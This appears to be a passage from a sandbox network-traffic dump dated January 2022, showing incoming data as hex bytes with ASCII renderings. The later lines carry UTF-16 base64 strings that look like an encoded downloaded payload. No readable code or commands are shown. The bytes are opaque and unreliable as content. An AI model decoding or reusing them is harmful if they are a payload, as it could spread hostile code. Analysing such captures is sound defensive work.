2022-01-14 00:51:05 UTC	197	IN	Data Raw: 2f 68 b4 79 d8 a9 15 eb 3b 01 76 2b 5e a5 b8 b2 90 73 d9 aa b4 62 ce b3 ea e7 3d 36 ee 3a c6 09 8d e6 25 76 b1 45 d9 64 a3 6a 31 a4 b1 00 24 5e 0a 40 6f 20 f4 76 10 28 a5 b9 85 65 c0 6d ca ef c2 7e 15 a2 2f 76 94 06 9c 2e 4a 15 83 16 4e 85 f2 2b 99 66 23 08 72 b4 ad 75 e6 c1 06 cd 3c f1 f0 ab a2 9b 9d 08 8e 86 6f 48 22 97 2f 72 8b 7f 38 5a b0 87 0f 4a 5d 92 c3 f9 af 5e dc 4e e6 11 b1 4d ab 64 8f e4 b0 bf ec ff 41 44 e7 e0 e0 09 60 fc c2 b5 b6 07 41 0f a2 b8 97 40 b2 74 4a bc 84 4a 61 52 7d 6e 0d b6 fa 6e a2 84 89 c4 11 2c 6e 79 5f 2e 8c ff 88 4c b2 c3 94 4e 44 47 c7 7f 0b 0f 86 d8 ab 53 d2 de 59 c3 b6 8c 8e ea 6d 50 d0 e8 c3 5f ab 64 ef 21 0f 33 7e 06 41 c5 a0 67 29 14 9f 73 cb 41 48 d8 55 87 b2 db 0f 64 15 e2 e0 f2 ea 86 c3 5b be 1e a2 35 6f 12 49 aa de Data Ascii: /hy;v+^sb=6:%vEdj1$^@o v(em~/v.JN+f#ru<oH"/r8ZJ]^NMdAD`A@tJJaR}nn,ny_.LNDGSYmP_d!3~Ag)sAHUd[5oI
2022-01-14 00:51:05 UTC	201	IN	Data Raw: 2f 6d 56 6b 82 2c c5 58 a8 9e 6a 1f 64 3d 5e 17 65 f3 b7 41 81 c3 e8 f3 fa 8a 1c 1e 03 74 c7 2e 36 be ed 93 cb 1e 3f ca 0f 6a 2d 47 1e 62 dc 6a 54 fb c3 9a 5e 68 b3 51 4c 36 d5 80 f6 d0 2d e4 25 6f da 05 89 a5 43 d6 a0 e9 75 3b c3 71 7d 2d 22 2c 1d e0 b4 9c 65 4f cd 29 f7 be 6f 6e 0f 7f 10 a8 9e 1a 89 47 f1 90 a8 4f 26 82 3e 3b 5f b7 c5 60 78 d6 53 ae 4f 3e a7 fe 1f 1d 6c f1 b9 69 df 19 22 df 52 fd 09 be 01 39 00 d6 f7 d3 dd 7f 7d 9b d4 71 da 13 b0 dd 21 9b 26 f2 46 79 2d 85 e2 81 61 94 92 a4 7e 36 be 95 d1 fe 69 b8 01 c3 79 fd 3b 5d 58 53 af 2f 25 f8 60 91 d3 28 ef 75 65 7e 19 4a 96 c5 b8 70 73 ad 06 c5 cf 9b 5b 44 25 e2 69 6f e4 e5 2a 06 b2 26 55 3f f3 1e 28 24 f6 8d 56 a0 3a 7a 3c d1 ff d5 2d 48 b7 68 b9 77 c6 76 81 74 ce ee 4a a4 08 77 d1 c5 79 09 c4 Data Ascii: /mVk,Xjd=^eAt.6?j-GbjT^hQL6-%oCu;q}-",eO)onGO&>;_`xSO>li"R9}q!&Fy-a~6iy;]XS/%`(ue~Jps[D%io*&U?($V:z<-HhwvtJwy
2022-01-14 00:51:05 UTC	205	IN	Data Raw: 41 4f 13 95 55 13 02 26 0f 95 e3 b7 36 b3 e2 b9 3d b6 6a 41 d0 34 ed 67 62 4e a6 16 8a 29 d4 85 1e 8d 60 a5 66 bf 36 31 a1 a5 6d 1e de 4d 50 fc e1 b3 ef 39 57 20 be 17 3a 7c e4 0e fe d8 e5 a4 bf 33 02 65 cf 41 4a c5 7d 13 86 69 8c 06 b6 8f 4b 43 8f cb ff 2e 84 94 20 be 0e 46 95 84 aa ed 7b 51 28 c5 6f d0 a9 66 66 e6 4a 4b 61 ee b7 1b 63 73 d2 52 37 2d 0b 6d e1 b9 b0 a0 0d b6 26 de fe 35 a9 f5 19 03 19 2f d9 05 46 12 40 dc d1 a9 6c a1 ee e0 81 7e 48 8b 94 17 d0 0a d6 31 fe f7 16 64 f1 1f 6a ac 2f b6 0f d9 74 10 76 56 ec 09 a2 70 33 24 f3 8e 32 2c 8d 12 67 35 c8 dc 75 26 b8 d3 81 21 e0 dd 36 27 92 d6 8d 9f dc 6f 6e 3b f9 0a 7a a2 e3 44 81 14 52 f7 d3 7d d6 2e ef db 54 d8 e2 ee 06 7e 7f 5c 71 38 b6 62 fa b1 05 e3 47 e7 19 a5 6e 29 bf 05 41 6b 5a 71 6e 7e ca Data Ascii: AOU&6=jA4gbN)`f61mMP9W :\|3eAJ}iKC. F{Q(offJKacsR7-m&5/F@l~H1dj/tvVp3$2,g5u&!6'on;zDR}.T~\q8bGn)AkZqn~
2022-01-14 00:51:05 UTC	209	IN	Data Raw: 7d a7 a4 b1 ca df b0 35 36 46 9f 52 ed d3 75 11 05 f6 31 fa 4d ab 58 d8 97 65 85 5b 99 a8 81 53 ae 00 24 2e 14 7f 9a c2 4b 71 c2 f4 4d 18 c8 8d c0 21 58 87 44 8f 8c ce af b5 10 4f f9 89 33 1e 74 a7 24 3e 5e aa e3 52 d5 b8 cc 3f 0e f0 03 38 a2 69 5b 3f dd 33 24 dc 92 a1 c3 0c b7 b0 37 60 35 6f e9 b6 74 78 ac d9 7b fd 54 e5 e9 52 c1 7d 98 7c b9 cf dd 6f b2 f3 9c 8a 1f d7 f6 e8 f2 ae fb f1 b3 e9 61 9f fe 0b d2 a2 e5 f5 2f 41 cd 52 1b ca 5c 25 f2 81 6f 80 27 5d 6f 0e 06 f3 8a 98 f7 42 ea 51 9b 92 ac 7c 60 5c 42 e9 35 af e0 ef 82 ac 68 3c 82 bf 62 3a 3c 52 d9 2f c7 90 9b ed 77 d7 1b 50 68 b3 3b 09 b4 5e c7 99 8c cd 20 e6 73 6a 0c 7b 69 7a 09 98 b8 ef 10 02 fe a8 f1 03 4c cf 6b 44 ff f4 6c ad 43 f6 1c 23 18 7a aa e8 c3 52 da 77 e4 84 9b 91 0d 46 d5 63 a4 7d ff Data Ascii: }56FRu1MXe[S$.KqM!XDO3t$>^R?8i[?3$7`5otx{TR}\|oa/AR\%o']oBQ\|`\B5h<b:<R/wPh;^ sj{izLkDlC#zRwFc}
2022-01-14 00:51:05 UTC	212	IN	Data Raw: 97 46 ff f1 7d 8d 5a 6c 38 35 1b 90 3f 8a f3 f8 61 b1 1a e2 4c a0 d2 31 33 cd 92 81 c8 30 45 bb 30 d2 b6 41 ab f3 41 8f 45 5b 14 3f 4e ce e1 9f a0 60 ba 88 19 28 ca ec 54 cb 13 55 87 15 b2 91 93 80 37 9e 3a a5 a3 cb 35 aa 52 c9 95 76 99 ff 7d 02 08 d5 d1 37 84 cc 2e 28 bd e2 84 cf 86 e0 47 f2 20 1f 84 7a 94 c6 95 29 2d 92 56 63 29 f1 be ea a3 31 11 1b 30 ea 70 3f d3 24 57 18 52 0c a7 8c 5f 81 67 1f 90 09 e0 fc 4e 85 75 89 11 8d d4 da 03 19 15 99 1e 92 8e 8a 9e a5 43 30 5b 46 db 46 0d ea 7c f5 21 db ee 51 db c0 c2 8f 24 69 34 8b 32 e3 cf 0a 38 39 61 cb 98 11 12 d5 1b c0 a6 ef 53 96 09 da 9c 50 dc 5f 5a ee 37 08 63 e8 25 3b 8a 61 20 7b 48 f1 4a 17 60 dd 82 5d 40 e9 16 40 3c 7d 75 82 12 e2 91 21 51 18 04 e3 6d 3a 11 c0 5b 5b d8 29 58 c5 b9 bb e2 a9 be 63 73 Data Ascii: F}Zl85?aL130E0AAE[?N`(TU7:5Rv}7.(G z)-Vc)10p?$WR_gNuC0[FF\|!Q$i4289aSP_Z7c%;a {HJ`]@@<}u!Qm:[[)Xcs
2022-01-14 00:51:05 UTC	228	IN	Data Raw: a9 fb b3 23 74 81 5a 28 18 d3 c6 43 09 d7 f0 38 97 ae ac 88 d7 a1 76 7e 59 bd 77 9d 91 62 1c dd 8c c9 c7 cd 96 ea 44 b7 94 69 b2 ec 1a 1e 14 50 f9 ae 2e ac 3b 6d 5c d6 ed 3e ab 97 93 d2 aa 03 de d7 79 8e 80 43 42 ce 43 9a 88 1c be 3a fd 95 83 80 4d 53 4b 15 ba 42 b7 c9 55 7e a0 b1 b5 d7 fa 84 25 a9 75 d9 b7 f1 76 f1 06 7d ac d8 6c d0 2c 4a 17 bf 1f 07 e9 0e 72 00 d9 cd 26 74 32 02 34 a2 d9 3a 47 f9 c0 e2 6a 1e a9 a2 6a 39 7f b5 7b 12 a2 30 90 1d 93 93 c1 60 7a 82 2b 98 47 10 9f 18 dc ee 53 ba 82 96 f0 23 43 c6 2d 00 92 a6 fe e8 d2 d6 18 72 e5 03 d7 d7 89 42 6d 1a 76 03 37 56 db 23 6d f7 19 a0 54 36 82 31 76 c9 db 7b 5e fc fc 42 53 d5 5e f8 d9 5e c8 83 35 31 d3 04 b1 f1 47 4f 56 83 67 3d c8 66 3f 3c 53 ad 45 30 88 c5 83 bf fd 32 0d 4c 31 45 04 0c 00 f4 5d Data Ascii: #tZ(C8v~YwbDiP.;m\>yCBC:MSKBU~%uv}l,Jr&t24:Gjj9{0`z+GS#C-rBmv7V#mT61v{^BS^^51GOVg=f?<SE02L1E]
2022-01-14 00:51:05 UTC	244	IN	Data Raw: 31 5b 82 0f c3 40 2f c4 d5 2a ae 49 11 66 6c 4b 2d fb 4d cf 83 21 b5 7c 84 d0 ac cb 58 aa 0d 25 ec a1 cd b4 96 78 d5 41 e0 67 0c df 9b 3c e3 8a 66 8d 23 38 59 7d 96 d5 77 69 56 33 f6 c4 aa 61 08 9a 37 ef 4c cb d7 e6 fb 5f 56 1a 2a 35 67 cd 72 57 85 1e 30 35 16 73 a3 e1 0e df 87 42 ed 0b 8c 5f 0f 8c e3 05 a4 04 21 82 f0 ac 3e d2 f8 10 83 0b 0b 42 26 9b 55 86 33 b1 9e 3b 03 a1 2c 79 61 8c b7 e7 5b 50 7a 95 7c 16 ed 10 95 99 e9 73 31 ac d6 e1 1a 12 34 46 ed 0a 11 77 61 98 c4 5a 14 87 9d c5 9a 7b 5c 57 cc 30 62 cc 1a b5 df de 27 4a 89 20 6d 9e 5b 6d 9d 3c 62 1b 93 4c 74 bb 21 f9 4d af ab b4 4b 3d 5a 46 22 2e eb 36 90 ce 0d db 37 ef d6 e2 ac 69 b9 b8 d5 8d e6 8c 51 b5 a5 59 29 9f 03 ef 36 7f 02 f2 35 b4 4a a5 f0 38 03 0f f5 78 b5 7f ae fb f6 b8 2a 85 bf 12 17 Data Ascii: 1[@/IflK-M!\|X%xAg<f#8Y}wiV3a7L_V5grW05sB_!>B&U3;,ya[Pz\|s14FwaZ{\W0b'J m[m<bLt!MK=ZF".67iQY)65J8x*
2022-01-14 00:51:05 UTC	260	IN	Data Raw: 00 54 00 46 00 4a 00 62 00 46 00 37 00 57 00 70 00 75 00 2b 00 30 00 48 00 6e 00 46 00 46 00 33 00 53 00 66 00 55 00 49 00 39 00 63 00 73 00 34 00 4e 00 31 00 32 00 6a 00 57 00 57 00 35 00 5a 00 4c 00 6b 00 48 00 50 00 43 00 6c 00 50 00 39 00 7a 00 2f 00 48 00 6a 00 2f 00 75 00 6a 00 63 00 4d 00 56 00 6c 00 5a 00 2f 00 53 00 56 00 35 00 32 00 31 00 61 00 52 00 6d 00 58 00 51 00 4c 00 6f 00 67 00 78 00 42 00 45 00 59 00 59 00 49 00 62 00 4a 00 4e 00 44 00 66 00 6c 00 30 00 31 00 79 00 78 00 33 00 45 00 46 00 7a 00 4c 00 37 00 33 00 2f 00 46 00 4a 00 4d 00 52 00 50 00 4f 00 32 00 46 00 61 00 45 00 33 00 74 00 2f 00 7a 00 6a 00 33 00 32 00 57 00 58 00 30 00 52 00 64 00 44 00 4d 00 61 00 4a 00 73 00 4a 00 4c 00 57 00 67 00 50 00 39 00 2b 00 4b 00 31 00 30 00 Data Ascii: TFJbF7Wpu+0HnFF3SfUI9cs4N12jWW5ZLkHPClP9z/Hj/ujcMVlZ/SV521aRmXQLogxBEYYIbJNDfl01yx3EFzL73/FJMRPO2FaE3t/zj32WX0RdDMaJsJLWgP9+K10
2022-01-14 00:51:05 UTC	276	IN	Data Raw: 00 4f 00 50 00 54 00 48 00 76 00 51 00 2f 00 59 00 52 00 72 00 6e 00 6f 00 31 00 7a 00 38 00 2f 00 41 00 36 00 42 00 38 00 44 00 4b 00 51 00 65 00 68 00 33 00 43 00 31 00 46 00 34 00 52 00 64 00 63 00 6a 00 74 00 6f 00 65 00 52 00 6e 00 55 00 4b 00 2f 00 4b 00 4d 00 36 00 2b 00 2b 00 5a 00 5a 00 2f 00 38 00 76 00 71 00 33 00 51 00 53 00 37 00 31 00 50 00 53 00 5a 00 68 00 41 00 4b 00 74 00 68 00 75 00 41 00 52 00 69 00 4f 00 41 00 52 00 53 00 47 00 54 00 65 00 51 00 73 00 30 00 73 00 30 00 4a 00 66 00 36 00 41 00 68 00 51 00 6f 00 6c 00 42 00 37 00 61 00 44 00 59 00 48 00 38 00 75 00 4c 00 78 00 7a 00 76 00 72 00 70 00 55 00 45 00 59 00 70 00 32 00 62 00 36 00 32 00 56 00 65 00 4f 00 6a 00 6f 00 5a 00 41 00 6b 00 71 00 67 00 37 00 72 00 65 00 54 00 6c 00 Data Ascii: OPTHvQ/YRrno1z8/A6B8DKQeh3C1F4RdcjtoeRnUK/KM6++ZZ/8vq3QS71PSZhAKthuARiOARSGTeQs0s0Jf6AhQolB7aDYH8uLxzvrpUEYp2b62VeOjoZAkqg7reTl
2022-01-14 00:51:05 UTC	292	IN	Data Raw: 00 58 00 41 00 6b 00 74 00 65 00 78 00 69 00 72 00 74 00 53 00 6a 00 4a 00 38 00 6d 00 70 00 76 00 32 00 42 00 31 00 79 00 32 00 59 00 72 00 45 00 58 00 30 00 78 00 7a 00 52 00 56 00 30 00 76 00 58 00 78 00 45 00 47 00 58 00 4c 00 6c 00 77 00 42 00 6e 00 70 00 66 00 57 00 71 00 55 00 35 00 62 00 72 00 37 00 56 00 69 00 69 00 70 00 4e 00 67 00 36 00 67 00 4e 00 47 00 48 00 50 00 5a 00 71 00 55 00 30 00 6a 00 78 00 6c 00 42 00 6d 00 33 00 6a 00 73 00 6f 00 57 00 45 00 32 00 72 00 34 00 57 00 4f 00 68 00 4f 00 67 00 4b 00 7a 00 76 00 6f 00 6a 00 6d 00 36 00 74 00 48 00 33 00 50 00 63 00 65 00 66 00 34 00 4a 00 4e 00 47 00 52 00 76 00 63 00 37 00 4b 00 37 00 57 00 33 00 4d 00 37 00 6b 00 57 00 6f 00 38 00 45 00 35 00 5a 00 6a 00 47 00 2b 00 66 00 4e 00 58 00 Data Ascii: XAktexirtSjJ8mpv2B1y2YrEX0xzRV0vXxEGXLlwBnpfWqU5br7ViipNg6gNGHPZqU0jxlBm3jsoWE2r4WOhOgKzvojm6tH3Pcef4JNGRvc7K7W3M7kWo8E5ZjG+fNX
2022-01-14 00:51:05 UTC	308	IN	Data Raw: 00 55 00 45 00 30 00 6c 00 66 00 67 00 57 00 6c 00 79 00 66 00 39 00 5a 00 42 00 38 00 69 00 66 00 56 00 72 00 6e 00 47 00 65 00 46 00 4c 00 64 00 6a 00 34 00 51 00 75 00 61 00 4b 00 79 00 79 00 6d 00 37 00 59 00 59 00 59 00 68 00 65 00 53 00 61 00 37 00 65 00 65 00 53 00 62 00 6c 00 70 00 6f 00 64 00 79 00 54 00 79 00 49 00 58 00 2b 00 77 00 76 00 50 00 4a 00 6f 00 54 00 4f 00 6f 00 48 00 76 00 77 00 2b 00 68 00 73 00 34 00 76 00 48 00 6e 00 38 00 4e 00 48 00 48 00 44 00 78 00 4b 00 62 00 69 00 36 00 43 00 65 00 78 00 74 00 6a 00 58 00 71 00 63 00 32 00 4c 00 46 00 4b 00 73 00 58 00 4c 00 79 00 62 00 77 00 4d 00 6b 00 35 00 5a 00 47 00 47 00 58 00 2f 00 64 00 53 00 33 00 44 00 6b 00 72 00 36 00 70 00 4c 00 76 00 50 00 49 00 38 00 59 00 45 00 52 00 44 00 Data Ascii: UE0lfgWlyf9ZB8ifVrnGeFLdj4QuaKyym7YYYheSa7eeSblpodyTyIX+wvPJoTOoHvw+hs4vHn8NHHDxKbi6CextjXqc2LFKsXLybwMk5ZGGX/dS3Dkr6pLvPI8YERD
2022-01-14 00:51:05 UTC	324	IN	Data Raw: 00 78 00 58 00 64 00 4f 00 52 00 71 00 71 00 51 00 43 00 31 00 4a 00 54 00 41 00 6e 00 4e 00 70 00 73 00 50 00 6f 00 32 00 59 00 37 00 42 00 78 00 4a 00 64 00 70 00 4e 00 48 00 2b 00 36 00 46 00 61 00 6c 00 73 00 4d 00 4c 00 61 00 72 00 30 00 6c 00 62 00 2b 00 30 00 79 00 34 00 52 00 4a 00 67 00 55 00 46 00 30 00 34 00 49 00 2b 00 52 00 58 00 56 00 62 00 6a 00 49 00 69 00 46 00 32 00 44 00 57 00 2f 00 43 00 39 00 65 00 54 00 64 00 6a 00 79 00 6c 00 5a 00 50 00 48 00 63 00 66 00 50 00 47 00 66 00 7a 00 35 00 5a 00 68 00 57 00 4b 00 52 00 6c 00 79 00 59 00 75 00 42 00 35 00 45 00 77 00 39 00 64 00 48 00 45 00 58 00 42 00 6d 00 35 00 69 00 64 00 4a 00 77 00 32 00 6d 00 41 00 67 00 73 00 49 00 6e 00 39 00 46 00 2b 00 73 00 75 00 2f 00 76 00 52 00 57 00 2f 00 Data Ascii: xXdORqqQC1JTAnNpsPo2Y7BxJdpNH+6FalsMLar0lb+0y4RJgUF04I+RXVbjIiF2DW/C9eTdjylZPHcfPGfz5ZhWKRlyYuB5Ew9dHEXBm5idJw2mAgsIn9F+su/vRW/
2022-01-14 00:51:05 UTC	340	IN	Data Raw: 00 4c 00 4a 00 53 00 69 00 30 00 44 00 64 00 52 00 6b 00 76 00 53 00 69 00 78 00 47 00 35 00 67 00 4b 00 4c 00 6f 00 79 00 5a 00 50 00 55 00 64 00 48 00 48 00 4f 00 73 00 7a 00 59 00 77 00 6d 00 6f 00 31 00 62 00 4f 00 68 00 71 00 54 00 4d 00 55 00 4a 00 5a 00 2f 00 49 00 53 00 35 00 6a 00 65 00 62 00 64 00 42 00 34 00 42 00 52 00 54 00 77 00 73 00 65 00 61 00 37 00 6c 00 4f 00 72 00 6b 00 66 00 78 00 53 00 67 00 66 00 35 00 6f 00 6f 00 4f 00 78 00 59 00 39 00 56 00 6a 00 30 00 4d 00 54 00 38 00 43 00 39 00 49 00 30 00 78 00 6e 00 2b 00 4d 00 54 00 76 00 49 00 62 00 56 00 44 00 76 00 54 00 49 00 47 00 4e 00 31 00 54 00 46 00 31 00 6f 00 34 00 73 00 37 00 58 00 4c 00 79 00 70 00 66 00 2b 00 72 00 75 00 47 00 65 00 53 00 5a 00 71 00 68 00 39 00 6c 00 6d 00 Data Ascii: LJSi0DdRkvSixG5gKLoyZPUdHHOszYwmo1bOhqTMUJZ/IS5jebdB4BRTwsea7lOrkfxSgf5ooOxY9Vj0MT8C9I0xn+MTvIbVDvTIGN1TF1o4s7XLypf+ruGeSZqh9lm
2022-01-14 00:51:05 UTC	356	IN	Data Raw: 00 72 00 6f 00 2b 00 39 00 70 00 75 00 73 00 4a 00 75 00 6f 00 32 00 5a 00 54 00 6f 00 74 00 2f 00 2b 00 4a 00 2b 00 43 00 6f 00 34 00 43 00 59 00 70 00 43 00 50 00 66 00 54 00 64 00 49 00 54 00 75 00 4e 00 58 00 33 00 4e 00 64 00 31 00 37 00 76 00 31 00 6b 00 6c 00 32 00 70 00 6a 00 56 00 5a 00 67 00 50 00 49 00 54 00 75 00 44 00 5a 00 33 00 70 00 39 00 4d 00 2b 00 65 00 45 00 56 00 4a 00 65 00 64 00 78 00 76 00 7a 00 34 00 45 00 4d 00 48 00 63 00 4a 00 67 00 4a 00 4b 00 50 00 62 00 75 00 63 00 4d 00 68 00 37 00 4c 00 34 00 44 00 54 00 44 00 6e 00 77 00 53 00 4c 00 54 00 57 00 41 00 30 00 66 00 73 00 6c 00 71 00 56 00 49 00 47 00 43 00 72 00 67 00 34 00 43 00 31 00 64 00 73 00 55 00 37 00 42 00 32 00 71 00 6c 00 34 00 4e 00 66 00 6d 00 49 00 52 00 5a 00 Data Ascii: ro+9pusJuo2ZTot/+J+Co4CYpCPfTdITuNX3Nd17v1kl2pjVZgPITuDZ3p9M+eEVJedxvz4EMHcJgJKPbucMh7L4DTDnwSLTWA0fslqVIGCrg4C1dsU7B2ql4NfmIRZ
2022-01-14 00:51:05 UTC	372	IN	Data Raw: 00 70 00 49 00 7a 00 50 00 4d 00 75 00 7a 00 36 00 72 00 42 00 6d 00 4b 00 31 00 52 00 49 00 73 00 68 00 79 00 57 00 39 00 78 00 5a 00 50 00 5a 00 42 00 45 00 45 00 4c 00 32 00 58 00 4d 00 46 00 54 00 59 00 36 00 4c 00 69 00 76 00 65 00 67 00 61 00 55 00 6d 00 74 00 46 00 4c 00 54 00 32 00 2b 00 6a 00 75 00 6c 00 33 00 43 00 4b 00 63 00 78 00 2f 00 35 00 37 00 56 00 4e 00 59 00 64 00 31 00 45 00 43 00 6c 00 6e 00 30 00 49 00 6c 00 6b 00 78 00 47 00 59 00 47 00 32 00 62 00 71 00 56 00 36 00 34 00 4d 00 32 00 6a 00 33 00 31 00 4c 00 6e 00 4d 00 6e 00 36 00 72 00 36 00 43 00 32 00 59 00 6c 00 66 00 76 00 33 00 62 00 5a 00 5a 00 6d 00 4f 00 38 00 6f 00 53 00 43 00 4c 00 53 00 6b 00 64 00 6a 00 58 00 6d 00 30 00 31 00 75 00 53 00 49 00 77 00 72 00 6d 00 48 00 Data Ascii: pIzPMuz6rBmK1RIshyW9xZPZBEEL2XMFTY6LivegaUmtFLT2+jul3CKcx/57VNYd1ECln0IlkxGYG2bqV64M2j31LnMn6r6C2Ylfv3bZZmO8oSCLSkdjXm01uSIwrmH
2022-01-14 00:51:05 UTC	388	IN	Data Raw: 00 78 00 55 00 42 00 2f 00 38 00 4a 00 4c 00 76 00 31 00 59 00 56 00 51 00 58 00 36 00 31 00 56 00 52 00 53 00 5a 00 35 00 4a 00 4e 00 76 00 42 00 35 00 2b 00 31 00 70 00 7a 00 46 00 6d 00 43 00 6a 00 34 00 64 00 7a 00 30 00 43 00 74 00 52 00 36 00 43 00 74 00 59 00 4f 00 58 00 4c 00 59 00 30 00 43 00 6a 00 4f 00 76 00 4f 00 36 00 77 00 51 00 33 00 68 00 33 00 36 00 38 00 34 00 53 00 46 00 4a 00 75 00 65 00 47 00 5a 00 67 00 6e 00 6d 00 57 00 5a 00 44 00 71 00 62 00 65 00 71 00 48 00 44 00 42 00 6a 00 48 00 43 00 6f 00 38 00 34 00 75 00 36 00 47 00 72 00 43 00 36 00 49 00 5a 00 4c 00 38 00 73 00 31 00 56 00 6e 00 6b 00 37 00 51 00 65 00 4b 00 2f 00 56 00 35 00 38 00 7a 00 33 00 37 00 65 00 46 00 39 00 71 00 54 00 2f 00 49 00 66 00 41 00 78 00 69 00 41 00 Data Ascii: xUB/8JLv1YVQX61VRSZ5JNvB5+1pzFmCj4dz0CtR6CtYOXLY0CjOvO6wQ3h3684SFJueGZgnmWZDqbeqHDBjHCo84u6GrC6IZL8s1Vnk7QeK/V58z37eF9qT/IfAxiA
2022-01-14 00:51:05 UTC	404	IN	Data Raw: 00 65 00 43 00 2b 00 49 00 36 00 6c 00 51 00 63 00 67 00 31 00 65 00 61 00 55 00 68 00 65 00 57 00 33 00 49 00 58 00 5a 00 35 00 57 00 57 00 66 00 68 00 31 00 30 00 45 00 6d 00 4b 00 44 00 44 00 42 00 69 00 77 00 43 00 35 00 67 00 59 00 66 00 67 00 64 00 33 00 6b 00 51 00 79 00 7a 00 6a 00 42 00 55 00 32 00 58 00 66 00 76 00 34 00 74 00 46 00 2b 00 52 00 6c 00 44 00 4e 00 43 00 73 00 77 00 69 00 6a 00 57 00 38 00 73 00 6c 00 62 00 73 00 4a 00 46 00 48 00 49 00 6b 00 32 00 68 00 47 00 74 00 66 00 6f 00 43 00 4c 00 39 00 78 00 31 00 37 00 2b 00 4c 00 50 00 4b 00 47 00 45 00 2f 00 33 00 4a 00 71 00 58 00 34 00 5a 00 57 00 52 00 6e 00 4d 00 6d 00 69 00 71 00 4d 00 2b 00 75 00 38 00 50 00 61 00 58 00 54 00 51 00 39 00 37 00 76 00 4a 00 36 00 50 00 69 00 70 00 Data Ascii: eC+I6lQcg1eaUheW3IXZ5WWfh10EmKDDBiwC5gYfgd3kQyzjBU2Xfv4tF+RlDNCswijW8slbsJFHIk2hGtfoCL9x17+LPKGE/3JqX4ZWRnMmiqM+u8PaXTQ97vJ6Pip
2022-01-14 00:51:05 UTC	420	IN	Data Raw: 00 59 00 6b 00 77 00 53 00 77 00 44 00 67 00 4a 00 32 00 72 00 6c 00 39 00 72 00 42 00 78 00 46 00 42 00 48 00 46 00 46 00 53 00 64 00 6a 00 48 00 76 00 62 00 79 00 6b 00 32 00 66 00 6d 00 49 00 56 00 63 00 66 00 4c 00 57 00 65 00 4d 00 37 00 44 00 6c 00 33 00 52 00 70 00 50 00 42 00 57 00 41 00 30 00 42 00 34 00 31 00 4c 00 4c 00 2f 00 77 00 73 00 6a 00 47 00 6d 00 57 00 77 00 6c 00 68 00 53 00 34 00 2f 00 58 00 2f 00 71 00 46 00 6d 00 41 00 47 00 43 00 75 00 61 00 46 00 2b 00 53 00 6d 00 52 00 32 00 55 00 54 00 59 00 68 00 77 00 65 00 30 00 31 00 44 00 74 00 56 00 4e 00 69 00 55 00 48 00 61 00 76 00 56 00 52 00 6d 00 6e 00 64 00 30 00 32 00 45 00 77 00 4f 00 61 00 44 00 35 00 67 00 5a 00 31 00 4c 00 53 00 68 00 52 00 75 00 74 00 32 00 33 00 6b 00 72 00 Data Ascii: YkwSwDgJ2rl9rBxFBHFFSdjHvbyk2fmIVcfLWeM7Dl3RpPBWA0B41LL/wsjGmWwlhS4/X/qFmAGCuaF+SmR2UTYhwe01DtVNiUHavVRmnd02EwOaD5gZ1LShRut23kr
2022-01-14 00:51:05 UTC	436	IN	Data Raw: 00 37 00 55 00 70 00 4c 00 30 00 52 00 67 00 72 00 36 00 36 00 72 00 37 00 6d 00 57 00 35 00 75 00 47 00 68 00 69 00 54 00 53 00 75 00 4d 00 46 00 43 00 73 00 79 00 55 00 51 00 41 00 6b 00 4b 00 58 00 65 00 53 00 4f 00 68 00 2b 00 4d 00 45 00 51 00 31 00 37 00 76 00 76 00 30 00 6a 00 5a 00 62 00 37 00 47 00 75 00 6f 00 6c 00 49 00 41 00 70 00 35 00 38 00 4f 00 67 00 43 00 6e 00 68 00 58 00 58 00 4a 00 77 00 50 00 35 00 61 00 53 00 42 00 45 00 69 00 4d 00 68 00 4a 00 47 00 72 00 78 00 77 00 5a 00 34 00 4c 00 78 00 59 00 4f 00 6b 00 6a 00 36 00 75 00 36 00 2b 00 4f 00 37 00 4c 00 7a 00 74 00 43 00 64 00 39 00 73 00 61 00 30 00 45 00 78 00 36 00 5a 00 59 00 75 00 4b 00 42 00 71 00 4e 00 2f 00 76 00 74 00 58 00 73 00 75 00 42 00 79 00 51 00 51 00 58 00 47 00 Data Ascii: 7UpL0Rgr66r7mW5uGhiTSuMFCsyUQAkKXeSOh+MEQ17vv0jZb7GuolIAp58OgCnhXXJwP5aSBEiMhJGrxwZ4LxYOkj6u6+O7LztCd9sa0Ex6ZYuKBqN/vtXsuByQQXG
2022-01-14 00:51:05 UTC	452	IN	Data Raw: 00 47 00 36 00 77 00 53 00 62 00 5a 00 50 00 75 00 36 00 70 00 55 00 4a 00 59 00 70 00 73 00 34 00 6f 00 77 00 4a 00 6f 00 63 00 36 00 43 00 34 00 66 00 50 00 66 00 4d 00 51 00 68 00 71 00 72 00 57 00 4e 00 37 00 6b 00 42 00 38 00 64 00 7a 00 36 00 67 00 73 00 38 00 4e 00 46 00 50 00 75 00 50 00 52 00 68 00 38 00 5a 00 4b 00 37 00 59 00 72 00 6c 00 6b 00 57 00 6c 00 4e 00 74 00 34 00 6e 00 47 00 72 00 30 00 39 00 58 00 6d 00 35 00 2b 00 5a 00 38 00 68 00 50 00 52 00 66 00 4c 00 38 00 43 00 62 00 56 00 70 00 6f 00 6d 00 49 00 69 00 43 00 62 00 62 00 6d 00 78 00 54 00 75 00 35 00 30 00 52 00 33 00 70 00 71 00 52 00 70 00 67 00 71 00 74 00 32 00 70 00 4d 00 6c 00 45 00 4d 00 50 00 4a 00 31 00 6e 00 61 00 43 00 38 00 67 00 6a 00 55 00 37 00 65 00 74 00 4b 00 Data Ascii: G6wSbZPu6pUJYps4owJoc6C4fPfMQhqrWN7kB8dz6gs8NFPuPRh8ZK7YrlkWlNt4nGr09Xm5+Z8hPRfL8CbVpomIiCbbmxTu50R3pqRpgqt2pMlEMPJ1naC8gjU7etK
2022-01-14 00:51:05 UTC	464	IN	Data Raw: 00 43 00 4a 00 57 00 32 00 4f 00 76 00 78 00 78 00 58 00 46 00 35 00 45 00 78 00 54 00 72 00 5a 00 73 00 30 00 56 00 2b 00 4f 00 4e 00 58 00 76 00 75 00 53 00 4a 00 50 00 69 00 49 00 4f 00 43 00 76 00 7a 00 31 00 7a 00 64 00 4a 00 7a 00 69 00 63 00 51 00 70 00 64 00 6c 00 79 00 2f 00 6f 00 43 00 72 00 5a 00 47 00 53 00 4f 00 53 00 77 00 75 00 4b 00 32 00 66 00 54 00 30 00 35 00 32 00 4b 00 4c 00 78 00 55 00 6b 00 32 00 75 00 64 00 78 00 70 00 50 00 72 00 63 00 4c 00 30 00 76 00 51 00 47 00 6d 00 66 00 56 00 54 00 52 00 67 00 37 00 41 00 78 00 67 00 72 00 69 00 47 00 35 00 77 00 63 00 2b 00 34 00 56 00 4e 00 75 00 71 00 58 00 53 00 53 00 62 00 59 00 4e 00 46 00 53 00 77 00 46 00 65 00 69 00 61 00 